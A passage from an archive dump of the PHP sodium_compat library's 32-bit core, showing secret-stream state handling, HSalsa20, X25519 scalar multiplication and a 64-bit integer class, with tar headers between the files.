     */
    public function getCounter()
    {
        return ParagonIE_Sodium_Core32_Util::store32_le($this->counter);
    }

    /**
     * @return string
     */
    public function getNonce()
    {
        if (!is_string($this->nonce)) {
            $this->nonce = str_repeat("\0", 12);
        }
        if (ParagonIE_Sodium_Core32_Util::strlen($this->nonce) !== 12) {
            $this->nonce = str_pad($this->nonce, 12, "\0", STR_PAD_RIGHT);
        }
        return $this->nonce;
    }

    /**
     * @return string
     */
    public function getCombinedNonce()
    {
        return $this->getCounter() .
            ParagonIE_Sodium_Core32_Util::substr($this->getNonce(), 0, 8);
    }

    /**
     * @return self
     */
    public function incrementCounter()
    {
        ++$this->counter;
        return $this;
    }

    /**
     * @return bool
     */
    public function needsRekey()
    {
        return ($this->counter & 0xffff) === 0;
    }

    /**
     * @param string $newKeyAndNonce
     * @return self
     */
    public function rekey($newKeyAndNonce)
    {
        $this->key = ParagonIE_Sodium_Core32_Util::substr($newKeyAndNonce, 0, 32);
        $this->nonce = str_pad(
            ParagonIE_Sodium_Core32_Util::substr($newKeyAndNonce, 32),
            12,
            "\0",
            STR_PAD_RIGHT
        );
        return $this;
    }

    /**
     * @param string $str
     * @return self
     */
    public function xorNonce($str)
    {
        $this->nonce = ParagonIE_Sodium_Core32_Util::xorStrings(
            $this->getNonce(),
            str_pad(
                ParagonIE_Sodium_Core32_Util::substr($str, 0, 8),
                12,
                "\0",
                STR_PAD_RIGHT
            )
        );
        return $this;
    }

    /**
     * @param string $string
     * @return self
     */
    public static function fromString($string)
    {
        $state = new ParagonIE_Sodium_Core32_SecretStream_State(
            ParagonIE_Sodium_Core32_Util::substr($string, 0, 32)
        );
        $state->counter = ParagonIE_Sodium_Core32_Util::load_4(
            ParagonIE_Sodium_Core32_Util::substr($string, 32, 4)
        );
        $state->nonce = ParagonIE_Sodium_Core32_Util::substr($string, 36, 12);
        $state->_pad = ParagonIE_Sodium_Core32_Util::substr($string, 48, 8);
        return $state;
    }

    /**
     * @return string
     */
    public function toString()
    {
        return $this->key .
            $this->getCounter() .
            $this->nonce .
            $this->_pad;
    }
}
Core32/.htaccess000064400000000000152222652550007373 0ustar00Core32/HSalsa20.php000064400000015435152222652550007645 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Core32_HSalsa20', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core32_HSalsa20
 */
abstract class ParagonIE_Sodium_Core32_HSalsa20 extends ParagonIE_Sodium_Core32_Salsa20
{
    /**
     * Calculate an hsalsa20 hash of a single block
     *
     * HSalsa20 doesn't have a counter and will never be used for more than
     * one block (used to derive a subkey for xsalsa20).
     *
     * @internal You should not use this directly from another application
     *
     * @param string $in
     * @param string $k
     * @param string|null $c
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function hsalsa20($in, $k, $c = null)
    {
        /**
         * @var ParagonIE_Sodium_Core32_Int32 $x0
         * @var ParagonIE_Sodium_Core32_Int32 $x1
         * @var ParagonIE_Sodium_Core32_Int32 $x2
         * @var ParagonIE_Sodium_Core32_Int32 $x3
         * @var ParagonIE_Sodium_Core32_Int32 $x4
         * @var ParagonIE_Sodium_Core32_Int32 $x5
         * @var ParagonIE_Sodium_Core32_Int32 $x6
         * @var ParagonIE_Sodium_Core32_Int32 $x7
         * @var ParagonIE_Sodium_Core32_Int32 $x8
         * @var ParagonIE_Sodium_Core32_Int32 $x9
         * @var ParagonIE_Sodium_Core32_Int32 $x10
         * @var ParagonIE_Sodium_Core32_Int32 $x11
         * @var ParagonIE_Sodium_Core32_Int32 $x12
         * @var ParagonIE_Sodium_Core32_Int32 $x13
         * @var ParagonIE_Sodium_Core32_Int32 $x14
         * @var ParagonIE_Sodium_Core32_Int32 $x15
         * @var ParagonIE_Sodium_Core32_Int32 $j0
         * @var ParagonIE_Sodium_Core32_Int32 $j1
         * @var ParagonIE_Sodium_Core32_Int32 $j2
         * @var ParagonIE_Sodium_Core32_Int32 $j3
         * @var ParagonIE_Sodium_Core32_Int32 $j4
         * @var ParagonIE_Sodium_Core32_Int32 $j5
         * @var ParagonIE_Sodium_Core32_Int32 $j6
         * @var ParagonIE_Sodium_Core32_Int32 $j7
         * @var ParagonIE_Sodium_Core32_Int32 $j8
         * @var ParagonIE_Sodium_Core32_Int32 $j9
         * @var ParagonIE_Sodium_Core32_Int32 $j10
         * @var ParagonIE_Sodium_Core32_Int32 $j11
         * @var ParagonIE_Sodium_Core32_Int32 $j12
         * @var ParagonIE_Sodium_Core32_Int32 $j13
         * @var ParagonIE_Sodium_Core32_Int32 $j14
         * @var ParagonIE_Sodium_Core32_Int32 $j15
         */
        if (self::strlen($k) < 32) {
            throw new RangeException('Key must be 32 bytes long');
        }
        if ($c === null) {
            $x0  = new ParagonIE_Sodium_Core32_Int32(array(0x6170, 0x7865));
            $x5  = new ParagonIE_Sodium_Core32_Int32(array(0x3320, 0x646e));
            $x10 = new ParagonIE_Sodium_Core32_Int32(array(0x7962, 0x2d32));
            $x15 = new ParagonIE_Sodium_Core32_Int32(array(0x6b20, 0x6574));
        } else {
            $x0  = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($c, 0, 4));
            $x5  = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($c, 4, 4));
            $x10 = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($c, 8, 4));
            $x15 = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($c, 12, 4));
        }
        $x1  = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($k, 0, 4));
        $x2  = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($k, 4, 4));
        $x3  = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($k, 8, 4));
        $x4  = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($k, 12, 4));
        $x6  = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($in, 0, 4));
        $x7  = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($in, 4, 4));
        $x8  = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($in, 8, 4));
        $x9  = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($in, 12, 4));
        $x11 = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($k, 16, 4));
        $x12 = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($k, 20, 4));
        $x13 = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($k, 24, 4));
        $x14 = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($k, 28, 4));

        for ($i = self::ROUNDS; $i > 0; $i -= 2) {
            $x4  = $x4->xorInt32($x0->addInt32($x12)->rotateLeft(7));
            $x8  = $x8->xorInt32($x4->addInt32($x0)->rotateLeft(9));
            $x12 = $x12->xorInt32($x8->addInt32($x4)->rotateLeft(13));
            $x0  = $x0->xorInt32($x12->addInt32($x8)->rotateLeft(18));

            $x9  = $x9->xorInt32($x5->addInt32($x1)->rotateLeft(7));
            $x13 = $x13->xorInt32($x9->addInt32($x5)->rotateLeft(9));
            $x1  = $x1->xorInt32($x13->addInt32($x9)->rotateLeft(13));
            $x5  = $x5->xorInt32($x1->addInt32($x13)->rotateLeft(18));

            $x14 = $x14->xorInt32($x10->addInt32($x6)->rotateLeft(7));
            $x2  = $x2->xorInt32($x14->addInt32($x10)->rotateLeft(9));
            $x6  = $x6->xorInt32($x2->addInt32($x14)->rotateLeft(13));
            $x10 = $x10->xorInt32($x6->addInt32($x2)->rotateLeft(18));

            $x3  = $x3->xorInt32($x15->addInt32($x11)->rotateLeft(7));
            $x7  = $x7->xorInt32($x3->addInt32($x15)->rotateLeft(9));
            $x11 = $x11->xorInt32($x7->addInt32($x3)->rotateLeft(13));
            $x15 = $x15->xorInt32($x11->addInt32($x7)->rotateLeft(18));

            $x1  = $x1->xorInt32($x0->addInt32($x3)->rotateLeft(7));
            $x2  = $x2->xorInt32($x1->addInt32($x0)->rotateLeft(9));
            $x3  = $x3->xorInt32($x2->addInt32($x1)->rotateLeft(13));
            $x0  = $x0->xorInt32($x3->addInt32($x2)->rotateLeft(18));

            $x6  = $x6->xorInt32($x5->addInt32($x4)->rotateLeft(7));
            $x7  = $x7->xorInt32($x6->addInt32($x5)->rotateLeft(9));
            $x4  = $x4->xorInt32($x7->addInt32($x6)->rotateLeft(13));
            $x5  = $x5->xorInt32($x4->addInt32($x7)->rotateLeft(18));

            $x11 = $x11->xorInt32($x10->addInt32($x9)->rotateLeft(7));
            $x8  = $x8->xorInt32($x11->addInt32($x10)->rotateLeft(9));
            $x9  = $x9->xorInt32($x8->addInt32($x11)->rotateLeft(13));
            $x10 = $x10->xorInt32($x9->addInt32($x8)->rotateLeft(18));

            $x12 = $x12->xorInt32($x15->addInt32($x14)->rotateLeft(7));
            $x13 = $x13->xorInt32($x12->addInt32($x15)->rotateLeft(9));
            $x14 = $x14->xorInt32($x13->addInt32($x12)->rotateLeft(13));
            $x15 = $x15->xorInt32($x14->addInt32($x13)->rotateLeft(18));
        }

        return $x0->toReverseString() .
            $x5->toReverseString() .
            $x10->toReverseString() .
            $x15->toReverseString() .
            $x6->toReverseString() .
            $x7->toReverseString() .
            $x8->toReverseString() .
            $x9->toReverseString();
    }
}
Core32/X25519.php000064400000025442152222652550007144 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Core32_X25519', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core32_X25519
 */
abstract class ParagonIE_Sodium_Core32_X25519 extends ParagonIE_Sodium_Core32_Curve25519
{
    /**
     * Alters the objects passed to this method in place.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe $f
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe $g
     * @param int $b
     * @return void
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedMethodCall
     */
    public static function fe_cswap(
        ParagonIE_Sodium_Core32_Curve25519_Fe $f,
        ParagonIE_Sodium_Core32_Curve25519_Fe $g,
        $b = 0
    ) {
        $f0 = (int) $f[0]->toInt();
        $f1 = (int) $f[1]->toInt();
        $f2 = (int) $f[2]->toInt();
        $f3 = (int) $f[3]->toInt();
        $f4 = (int) $f[4]->toInt();
        $f5 = (int) $f[5]->toInt();
        $f6 = (int) $f[6]->toInt();
        $f7 = (int) $f[7]->toInt();
        $f8 = (int) $f[8]->toInt();
        $f9 = (int) $f[9]->toInt();
        $g0 = (int) $g[0]->toInt();
        $g1 = (int) $g[1]->toInt();
        $g2 = (int) $g[2]->toInt();
        $g3 = (int) $g[3]->toInt();
        $g4 = (int) $g[4]->toInt();
        $g5 = (int) $g[5]->toInt();
        $g6 = (int) $g[6]->toInt();
        $g7 = (int) $g[7]->toInt();
        $g8 = (int) $g[8]->toInt();
        $g9 = (int) $g[9]->toInt();
        $b = -$b;
        /** @var int $x0 */
        $x0 = ($f0 ^ $g0) & $b;
        /** @var int $x1 */
        $x1 = ($f1 ^ $g1) & $b;
        /** @var int $x2 */
        $x2 = ($f2 ^ $g2) & $b;
        /** @var int $x3 */
        $x3 = ($f3 ^ $g3) & $b;
        /** @var int $x4 */
        $x4 = ($f4 ^ $g4) & $b;
        /** @var int $x5 */
        $x5 = ($f5 ^ $g5) & $b;
        /** @var int $x6 */
        $x6 = ($f6 ^ $g6) & $b;
        /** @var int $x7 */
        $x7 = ($f7 ^ $g7) & $b;
        /** @var int $x8 */
        $x8 = ($f8 ^ $g8) & $b;
        /** @var int $x9 */
        $x9 = ($f9 ^ $g9) & $b;
        $f[0] = ParagonIE_Sodium_Core32_Int32::fromInt($f0 ^ $x0);
        $f[1] = ParagonIE_Sodium_Core32_Int32::fromInt($f1 ^ $x1);
        $f[2] = ParagonIE_Sodium_Core32_Int32::fromInt($f2 ^ $x2);
        $f[3] = ParagonIE_Sodium_Core32_Int32::fromInt($f3 ^ $x3);
        $f[4] = ParagonIE_Sodium_Core32_Int32::fromInt($f4 ^ $x4);
        $f[5] = ParagonIE_Sodium_Core32_Int32::fromInt($f5 ^ $x5);
        $f[6] = ParagonIE_Sodium_Core32_Int32::fromInt($f6 ^ $x6);
        $f[7] = ParagonIE_Sodium_Core32_Int32::fromInt($f7 ^ $x7);
        $f[8] = ParagonIE_Sodium_Core32_Int32::fromInt($f8 ^ $x8);
        $f[9] = ParagonIE_Sodium_Core32_Int32::fromInt($f9 ^ $x9);
        $g[0] = ParagonIE_Sodium_Core32_Int32::fromInt($g0 ^ $x0);
        $g[1] = ParagonIE_Sodium_Core32_Int32::fromInt($g1 ^ $x1);
        $g[2] = ParagonIE_Sodium_Core32_Int32::fromInt($g2 ^ $x2);
        $g[3] = ParagonIE_Sodium_Core32_Int32::fromInt($g3 ^ $x3);
        $g[4] = ParagonIE_Sodium_Core32_Int32::fromInt($g4 ^ $x4);
        $g[5] = ParagonIE_Sodium_Core32_Int32::fromInt($g5 ^ $x5);
        $g[6] = ParagonIE_Sodium_Core32_Int32::fromInt($g6 ^ $x6);
        $g[7] = ParagonIE_Sodium_Core32_Int32::fromInt($g7 ^ $x7);
        $g[8] = ParagonIE_Sodium_Core32_Int32::fromInt($g8 ^ $x8);
        $g[9] = ParagonIE_Sodium_Core32_Int32::fromInt($g9 ^ $x9);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe $f
     * @return ParagonIE_Sodium_Core32_Curve25519_Fe
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedAssignment
     * @psalm-suppress MixedMethodCall
     */
    public static function fe_mul121666(ParagonIE_Sodium_Core32_Curve25519_Fe $f)
    {
        /** @var array<int, ParagonIE_Sodium_Core32_Int64> $h */
        $h = array();
        for ($i = 0; $i < 10; ++$i) {
            $h[$i] = $f[$i]->toInt64()->mulInt(121666, 17);
        }

        $carry9 = $h[9]->addInt(1 << 24)->shiftRight(25);
        $h[0] = $h[0]->addInt64($carry9->mulInt(19, 5));
        $h[9] = $h[9]->subInt64($carry9->shiftLeft(25));

        $carry1 = $h[1]->addInt(1 << 24)->shiftRight(25);
        $h[2] = $h[2]->addInt64($carry1);
        $h[1] = $h[1]->subInt64($carry1->shiftLeft(25));

        $carry3 = $h[3]->addInt(1 << 24)->shiftRight(25);
        $h[4] = $h[4]->addInt64($carry3);
        $h[3] = $h[3]->subInt64($carry3->shiftLeft(25));

        $carry5 = $h[5]->addInt(1 << 24)->shiftRight(25);
        $h[6] = $h[6]->addInt64($carry5);
        $h[5] = $h[5]->subInt64($carry5->shiftLeft(25));

        $carry7 = $h[7]->addInt(1 << 24)->shiftRight(25);
        $h[8] = $h[8]->addInt64($carry7);
        $h[7] = $h[7]->subInt64($carry7->shiftLeft(25));

        $carry0 = $h[0]->addInt(1 << 25)->shiftRight(26);
        $h[1] = $h[1]->addInt64($carry0);
        $h[0] = $h[0]->subInt64($carry0->shiftLeft(26));

        $carry2 = $h[2]->addInt(1 << 25)->shiftRight(26);
        $h[3] = $h[3]->addInt64($carry2);
        $h[2] = $h[2]->subInt64($carry2->shiftLeft(26));

        $carry4 = $h[4]->addInt(1 << 25)->shiftRight(26);
        $h[5] = $h[5]->addInt64($carry4);
        $h[4] = $h[4]->subInt64($carry4->shiftLeft(26));

        $carry6 = $h[6]->addInt(1 << 25)->shiftRight(26);
        $h[7] = $h[7]->addInt64($carry6);
        $h[6] = $h[6]->subInt64($carry6->shiftLeft(26));

        $carry8 = $h[8]->addInt(1 << 25)->shiftRight(26);
        $h[9] = $h[9]->addInt64($carry8);
        $h[8] = $h[8]->subInt64($carry8->shiftLeft(26));

        for ($i = 0; $i < 10; ++$i) {
            $h[$i] = $h[$i]->toInt32();
        }
        /** @var array<int, ParagonIE_Sodium_Core32_Int32> $h2 */
        $h2 = $h;
        return ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray($h2);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * Inline comments preceded by # are from libsodium's ref10 code.
     *
     * @param string $n
     * @param string $p
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function crypto_scalarmult_curve25519_ref10($n, $p)
    {
        # for (i = 0;i < 32;++i) e[i] = n[i];
        $e = '' . $n;
        # e[0] &= 248;
        $e[0] = self::intToChr(
            self::chrToInt($e[0]) & 248
        );
        # e[31] &= 127;
        # e[31] |= 64;
        $e[31] = self::intToChr(
            (self::chrToInt($e[31]) & 127) | 64
        );
        # fe_frombytes(x1,p);
        $x1 = self::fe_frombytes($p);
        # fe_1(x2);
        $x2 = self::fe_1();
        # fe_0(z2);
        $z2 = self::fe_0();
        # fe_copy(x3,x1);
        $x3 = self::fe_copy($x1);
        # fe_1(z3);
        $z3 = self::fe_1();

        # swap = 0;
        /** @var int $swap */
        $swap = 0;

        # for (pos = 254;pos >= 0;--pos) {
        for ($pos = 254; $pos >= 0; --$pos) {
            # b = e[pos / 8] >> (pos & 7);
            /** @var int $b */
            $b = self::chrToInt(
                    $e[(int) floor($pos / 8)]
                ) >> ($pos & 7);
            # b &= 1;
            $b &= 1;

            # swap ^= b;
            $swap ^= $b;

            # fe_cswap(x2,x3,swap);
            self::fe_cswap($x2, $x3, $swap);

            # fe_cswap(z2,z3,swap);
            self::fe_cswap($z2, $z3, $swap);

            # swap = b;
            /** @var int $swap */
            $swap = $b;

            # fe_sub(tmp0,x3,z3);
            $tmp0 = self::fe_sub($x3, $z3);

            # fe_sub(tmp1,x2,z2);
            $tmp1 = self::fe_sub($x2, $z2);

            # fe_add(x2,x2,z2);
            $x2 = self::fe_add($x2, $z2);

            # fe_add(z2,x3,z3);
            $z2 = self::fe_add($x3, $z3);

            # fe_mul(z3,tmp0,x2);
            $z3 = self::fe_mul($tmp0, $x2);

            # fe_mul(z2,z2,tmp1);
            $z2 = self::fe_mul($z2, $tmp1);

            # fe_sq(tmp0,tmp1);
            $tmp0 = self::fe_sq($tmp1);

            # fe_sq(tmp1,x2);
            $tmp1 = self::fe_sq($x2);

            # fe_add(x3,z3,z2);
            $x3 = self::fe_add($z3, $z2);

            # fe_sub(z2,z3,z2);
            $z2 = self::fe_sub($z3, $z2);

            # fe_mul(x2,tmp1,tmp0);
            $x2 = self::fe_mul($tmp1, $tmp0);

            # fe_sub(tmp1,tmp1,tmp0);
            $tmp1 = self::fe_sub($tmp1, $tmp0);

            # fe_sq(z2,z2);
            $z2 = self::fe_sq($z2);

            # fe_mul121666(z3,tmp1);
            $z3 = self::fe_mul121666($tmp1);

            # fe_sq(x3,x3);
            $x3 = self::fe_sq($x3);

            # fe_add(tmp0,tmp0,z3);
            $tmp0 = self::fe_add($tmp0, $z3);

            # fe_mul(z3,x1,z2);
            $z3 = self::fe_mul($x1, $z2);

            # fe_mul(z2,tmp1,tmp0);
            $z2 = self::fe_mul($tmp1, $tmp0);
        }

        # fe_cswap(x2,x3,swap);
        self::fe_cswap($x2, $x3, $swap);

        # fe_cswap(z2,z3,swap);
        self::fe_cswap($z2, $z3, $swap);

        # fe_invert(z2,z2);
        $z2 = self::fe_invert($z2);

        # fe_mul(x2,x2,z2);
        $x2 = self::fe_mul($x2, $z2);
        # fe_tobytes(q,x2);
        return (string) self::fe_tobytes($x2);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe $edwardsY
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe $edwardsZ
     * @return ParagonIE_Sodium_Core32_Curve25519_Fe
     * @throws SodiumException
     * @throws TypeError
     */
    public static function edwards_to_montgomery(
        ParagonIE_Sodium_Core32_Curve25519_Fe $edwardsY,
        ParagonIE_Sodium_Core32_Curve25519_Fe $edwardsZ
    ) {
        $tempX = self::fe_add($edwardsZ, $edwardsY);
        $tempZ = self::fe_sub($edwardsZ, $edwardsY);
        $tempZ = self::fe_invert($tempZ);
        return self::fe_mul($tempX, $tempZ);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $n
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function crypto_scalarmult_curve25519_ref10_base($n)
    {
        # for (i = 0;i < 32;++i) e[i] = n[i];
        $e = '' . $n;

        # e[0] &= 248;
        $e[0] = self::intToChr(
            self::chrToInt($e[0]) & 248
        );

        # e[31] &= 127;
        # e[31] |= 64;
        $e[31] = self::intToChr(
            (self::chrToInt($e[31]) & 127) | 64
        );

        $A = self::ge_scalarmult_base($e);
        if (
            !($A->Y instanceof ParagonIE_Sodium_Core32_Curve25519_Fe)
                ||
            !($A->Z instanceof ParagonIE_Sodium_Core32_Curve25519_Fe)
        ) {
            throw new TypeError('Null points encountered');
        }
        $pk = self::edwards_to_montgomery($A->Y, $A->Z);
        return self::fe_tobytes($pk);
    }
}
Core32/Int64.php000064400000074704152222652550007240 0ustar00<?php

/**
 * Class ParagonIE_Sodium_Core32_Int64
 *
 * Encapsulates a 64-bit integer.
 *
 * These are immutable. It always returns a new instance.
 */
class ParagonIE_Sodium_Core32_Int64
{
    /**
     * @var array<int, int> - four 16-bit integers
     */
    public $limbs = array(0, 0, 0, 0);

    /**
     * @var int
     */
    public $overflow = 0;

    /**
     * @var bool
     */
    public $unsignedInt = false;

    /**
     * ParagonIE_Sodium_Core32_Int64 constructor.
     * @param array $array
     * @param bool $unsignedInt
     */
    public function __construct($array = array(0, 0, 0, 0), $unsignedInt = false)
    {
        $this->limbs = array(
            (int) $array[0],
            (int) $array[1],
            (int) $array[2],
            (int) $array[3]
        );
        $this->overflow = 0;
        $this->unsignedInt = $unsignedInt;
    }

    /**
     * Adds two int64 objects
     *
     * @param ParagonIE_Sodium_Core32_Int64 $addend
     * @return ParagonIE_Sodium_Core32_Int64
     */
    public function addInt64(ParagonIE_Sodium_Core32_Int64 $addend)
    {
        $i0 = $this->limbs[0];
        $i1 = $this->limbs[1];
        $i2 = $this->limbs[2];
        $i3 = $this->limbs[3];
        $j0 = $addend->limbs[0];
        $j1 = $addend->limbs[1];
        $j2 = $addend->limbs[2];
        $j3 = $addend->limbs[3];

        $r3 = $i3 + ($j3 & 0xffff);
        $carry = $r3 >> 16;

        $r2 = $i2 + ($j2 & 0xffff) + $carry;
        $carry = $r2 >> 16;

        $r1 = $i1 + ($j1 & 0xffff) + $carry;
        $carry = $r1 >> 16;

        $r0 = $i0 + ($j0 & 0xffff) + $carry;
        $carry = $r0 >> 16;

        $r0 &= 0xffff;
        $r1 &= 0xffff;
        $r2 &= 0xffff;
        $r3 &= 0xffff;

        $return = new ParagonIE_Sodium_Core32_Int64(
            array($r0, $r1, $r2, $r3)
        );
        $return->overflow = $carry;
        $return->unsignedInt = $this->unsignedInt;
        return $return;
    }

    /**
     * Adds a normal integer to an int64 object
     *
     * @param int $int
     * @return ParagonIE_Sodium_Core32_Int64
     * @throws SodiumException
     * @throws TypeError
     */
    public function addInt($int)
    {
        ParagonIE_Sodium_Core32_Util::declareScalarType($int, 'int', 1);
        /** @var int $int */
        $int = (int) $int;

        $i0 = $this->limbs[0];
        $i1 = $this->limbs[1];
        $i2 = $this->limbs[2];
        $i3 = $this->limbs[3];

        $r3 = $i3 + ($int & 0xffff);
        $carry = $r3 >> 16;

        $r2 = $i2 + (($int >> 16) & 0xffff) + $carry;
        $carry = $r2 >> 16;

        $r1 = $i1 + $carry;
        $carry = $r1 >> 16;

        $r0 = $i0 + $carry;
        $carry = $r0 >> 16;

        $r0 &= 0xffff;
        $r1 &= 0xffff;
        $r2 &= 0xffff;
        $r3 &= 0xffff;
        $return = new ParagonIE_Sodium_Core32_Int64(
            array($r0, $r1, $r2, $r3)
        );
        $return->overflow = $carry;
        $return->unsignedInt = $this->unsignedInt;
        return $return;
    }

    /**
     * @param int $b
     * @return int
     */
    public function compareInt($b = 0)
    {
        $gt = 0;
        $eq = 1;

        $i = 4;
        $j = 0;
        while ($i > 0) {
            --$i;
            /** @var int $x1 */
            $x1 = $this->limbs[$i];
            /** @var int $x2 */
            $x2 = ($b >> ($j << 4)) & 0xffff;
            /** int */
            $gt |= (($x2 - $x1) >> 8) & $eq;
            /** int */
            $eq &= (($x2 ^ $x1) - 1) >> 8;
        }
        return ($gt + $gt - $eq) + 1;
    }

    /**
     * @param int $b
     * @return bool
     */
    public function isGreaterThan($b = 0)
    {
        return $this->compareInt($b) > 0;
    }

    /**
     * @param int $b
     * @return bool
     */
    public function isLessThanInt($b = 0)
    {
        return $this->compareInt($b) < 0;
    }

    /**
     * @param int $hi
     * @param int $lo
     * @return ParagonIE_Sodium_Core32_Int64
     */
    public function mask64($hi = 0, $lo = 0)
    {
        /** @var int $a */
        $a = ($hi >> 16) & 0xffff;
        /** @var int $b */
        $b = ($hi) & 0xffff;
        /** @var int $c */
        $c = ($lo >> 16) & 0xffff;
        /** @var int $d */
        $d = ($lo & 0xffff);
        return new ParagonIE_Sodium_Core32_Int64(
            array(
                $this->limbs[0] & $a,
                $this->limbs[1] & $b,
                $this->limbs[2] & $c,
                $this->limbs[3] & $d
            ),
            $this->unsignedInt
        );
    }

    /**
     * @param int $int
     * @param int $size
     * @return ParagonIE_Sodium_Core32_Int64
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedAssignment
     */
    public function mulInt($int = 0, $size = 0)
    {
        if (ParagonIE_Sodium_Compat::$fastMult) {
            return $this->mulIntFast($int);
        }
        ParagonIE_Sodium_Core32_Util::declareScalarType($int, 'int', 1);
        ParagonIE_Sodium_Core32_Util::declareScalarType($size, 'int', 2);
        /** @var int $int */
        $int = (int) $int;
        /** @var int $size */
        $size = (int) $size;

        if (!$size) {
            $size = 63;
        }

        $a = clone $this;
        $return = new ParagonIE_Sodium_Core32_Int64();
        $return->unsignedInt = $this->unsignedInt;

        // Initialize:
        $ret0 = 0;
        $ret1 = 0;
        $ret2 = 0;
        $ret3 = 0;
        $a0 = $a->limbs[0];
        $a1 = $a->limbs[1];
        $a2 = $a->limbs[2];
        $a3 = $a->limbs[3];

        /** @var int $size */
        /** @var int $i */
        for ($i = $size; $i >= 0; --$i) {
            $mask = -($int & 1);
            $x0 = $a0 & $mask;
            $x1 = $a1 & $mask;
            $x2 = $a2 & $mask;
            $x3 = $a3 & $mask;

            $ret3 += $x3;
            $c = $ret3 >> 16;

            $ret2 += $x2 + $c;
            $c = $ret2 >> 16;

            $ret1 += $x1 + $c;
            $c = $ret1 >> 16;

            $ret0 += $x0 + $c;

            $ret0 &= 0xffff;
            $ret1 &= 0xffff;
            $ret2 &= 0xffff;
            $ret3 &= 0xffff;

            $a3 = $a3 << 1;
            $x3 = $a3 >> 16;
            $a2 = ($a2 << 1) | $x3;
            $x2 = $a2 >> 16;
            $a1 = ($a1 << 1) | $x2;
            $x1 = $a1 >> 16;
            $a0 = ($a0 << 1) | $x1;
            $a0 &= 0xffff;
            $a1 &= 0xffff;
            $a2 &= 0xffff;
            $a3 &= 0xffff;

            $int >>= 1;
        }
        $return->limbs[0] = $ret0;
        $return->limbs[1] = $ret1;
        $return->limbs[2] = $ret2;
        $return->limbs[3] = $ret3;
        return $return;
    }

    /**
     * @param ParagonIE_Sodium_Core32_Int64 $A
     * @param ParagonIE_Sodium_Core32_Int64 $B
     * @return array<int, ParagonIE_Sodium_Core32_Int64>
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedInferredReturnType
     */
    public static function ctSelect(
        ParagonIE_Sodium_Core32_Int64 $A,
        ParagonIE_Sodium_Core32_Int64 $B
    ) {
        $a = clone $A;
        $b = clone $B;
        /** @var int $aNeg */
        $aNeg = ($a->limbs[0] >> 15) & 1;
        /** @var int $bNeg */
        $bNeg = ($b->limbs[0] >> 15) & 1;
        /** @var int $m */
        $m = (-($aNeg & $bNeg)) | 1;
        /** @var int $swap */
        $swap = $bNeg & ~$aNeg;
        /** @var int $d */
        $d = -$swap;

        /*
        if ($bNeg && !$aNeg) {
            $a = clone $int;
            $b = clone $this;
        } elseif($bNeg && $aNeg) {
            $a = $this->mulInt(-1);
            $b = $int->mulInt(-1);
        }
         */
        $x = $a->xorInt64($b)->mask64($d, $d);
        return array(
            $a->xorInt64($x)->mulInt($m),
            $b->xorInt64($x)->mulInt($m)
        );
    }

    /**
     * @param array<int, int> $a
     * @param array<int, int> $b
     * @param int $baseLog2
     * @return array<int, int>
     */
    public function multiplyLong(array $a, array $b, $baseLog2 = 16)
    {
        $a_l = count($a);
        $b_l = count($b);
        /** @var array<int, int> $r */
        $r = array_fill(0, $a_l + $b_l + 1, 0);
        $base = 1 << $baseLog2;
        for ($i = 0; $i < $a_l; ++$i) {
            $a_i = $a[$i];
            for ($j = 0; $j < $a_l; ++$j) {
                $b_j = $b[$j];
                $product = (($a_i * $b_j) + $r[$i + $j]);
                $carry = (((int) $product >> $baseLog2) & 0xffff);
                $r[$i + $j] = ((int) $product - (int) ($carry * $base)) & 0xffff;
                $r[$i + $j + 1] += $carry;
            }
        }
        return array_slice($r, 0, 5);
    }

    /**
     * @param int $int
     * @return ParagonIE_Sodium_Core32_Int64
     */
    public function mulIntFast($int)
    {
        // Handle negative numbers
        $aNeg = ($this->limbs[0] >> 15) & 1;
        $bNeg = ($int >> 31) & 1;
        $a = array_reverse($this->limbs);
        $b = array(
            $int & 0xffff,
            ($int >> 16) & 0xffff,
            -$bNeg & 0xffff,
            -$bNeg & 0xffff
        );
        if ($aNeg) {
            for ($i = 0; $i < 4; ++$i) {
                $a[$i] = ($a[$i] ^ 0xffff) & 0xffff;
            }
            ++$a[0];
        }
        if ($bNeg) {
            for ($i = 0; $i < 4; ++$i) {
                $b[$i] = ($b[$i] ^ 0xffff) & 0xffff;
            }
            ++$b[0];
        }
        // Multiply
        $res = $this->multiplyLong($a, $b);

        // Re-apply negation to results
        if ($aNeg !== $bNeg) {
            for ($i = 0; $i < 4; ++$i) {
                $res[$i] = (0xffff ^ $res[$i]) & 0xffff;
            }
